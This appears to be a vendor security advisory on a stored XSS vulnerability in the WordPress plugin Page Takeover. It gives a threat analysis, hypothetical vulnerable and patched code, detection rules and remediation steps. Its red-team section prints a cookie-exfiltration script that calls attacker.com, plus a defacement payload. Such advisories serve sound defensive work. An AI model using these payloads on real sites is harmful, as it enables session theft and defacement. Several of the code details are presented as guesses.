CVE-2025-31470

Executive Summary

CVE-2025-31470 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Page Takeover by FancyThemes, affecting versions n/a through 1.1.6. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with elevated privileges (e.g., Editor or Administrator) to inject arbitrary JavaScript into the plugin’s settings or content fields. This injected script is then stored on the server and executed in the browsers of other users (including site visitors or lower-privileged admins) when they view the affected page. Given the WordPress ecosystem context, this vulnerability can lead to session hijacking, defacement, or redirection to malicious sites. The CVSS score is 5.9 (Medium), with a low EPSS probability (0.0%), indicating limited active exploitation in the wild. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. As a WordPress component, it is not managed by traditional package managers like npm or PyPI, but the risk is similar: compromised plugin updates or installations can lead to widespread site compromise. Users should verify plugin integrity via checksums and monitor for suspicious updates.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Attacker needs Editor or Administrator role.
• User Interaction (UI): Required (R) – Victim must visit the compromised page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Partial modification of content.
• Availability (A): Low (L) – Minor service disruption possible.

Threat Level: Medium. Exploitation requires authenticated access, but stored XSS can persist and affect multiple users.

Deep Dive & Mechanics

The vulnerability resides in the Page Takeover plugin’s input handling. The plugin likely stores user-provided content (e.g., takeover page title, description, or custom CSS/JS) in the WordPress database without proper sanitization or output encoding. When this content is rendered on the frontend or admin panel, the injected script executes in the context of the victim’s browser.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress’s built-in escaping functions (e.g., esc_html(), wp_kses_post(), or esc_js()). This allows an attacker to inject HTML/JavaScript payloads.

Attack Flow:

1. Attacker logs in with Editor or Administrator privileges.
2. Navigates to the Page Takeover settings page.
3. Injects a malicious payload (e.g., <script>alert('XSS')</script>) into a text field.
4. The payload is stored in the wp_postmeta or custom table.
5. When another user (including site visitors) views the takeover page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// In page-takeover.php or similar
function render_takeover_content() {
    $content = get_option('page_takeover_content');
    echo $content; // No sanitization
}

Patched Code (Hypothetical):

function render_takeover_content() {
    $content = get_option('page_takeover_content');
    echo esc_html($content); // Output escaped
}

Key Difference: The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Page Takeover plugin <= 1.1.6.
• Valid Editor or Administrator credentials.

Exploitation Steps:

1. Log in to WordPress admin.
2. Navigate to Page Takeover settings.
3. In the "Custom Content" field, inject:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save settings.
5. Any user visiting the takeover page will have their cookies exfiltrated.

Alternative Payload (Defacement):

<style>body{display:none}</style><h1>Hacked by RedTeam</h1>

Blue Team

Detection & Prevention:

• Monitor for unusual changes to wp_options or wp_postmeta tables.
• Use Web Application Firewall (WAF) rules to block <script> tags in POST requests.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup:

1. Install WordPress locally (e.g., using Docker).
2. Install Page Takeover plugin version 1.1.6.
3. Create a test user with Editor role.
4. Inject payload and observe execution.

Indicators of Compromise (IOCs)

• File Modifications: Suspicious entries in wp_options (option_name: page_takeover_content).
• Network Traffic: Outbound requests to attacker-controlled domains from the WordPress server.
• Log Entries: Unusual POST requests to /wp-admin/admin-post.php with action=page_takeover_save.
• Browser Behavior: Unexpected redirects or pop-ups on takeover pages.

Detection Engineering

YARA Rule

rule CVE_2025_31470_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Page Takeover plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31470"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $payload3 = /javascript\s*:/i
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS via Page Takeover Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress Page Takeover plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-method: 'POST'
        cs-uri-query|contains: 'action=page_takeover_save'
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate admin using JavaScript in content
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31470 Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=page_takeover_save"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Remove malicious content from the database (check wp_options and wp_postmeta).
3. Reset all user sessions to invalidate stolen cookies.

Long-term Fix:

• Apply input sanitization using sanitize_text_field() and output escaping using esc_html() or wp_kses_post().
• Implement nonce verification for all plugin actions.
• Restrict plugin settings to trusted administrators only.

Workaround:

• Use a Web Application Firewall (WAF) to block XSS payloads.
• Add CSP header: Content-Security-Policy: default-src 'self'; script-src 'self'.

Valters IT
Securing Digital Frontiers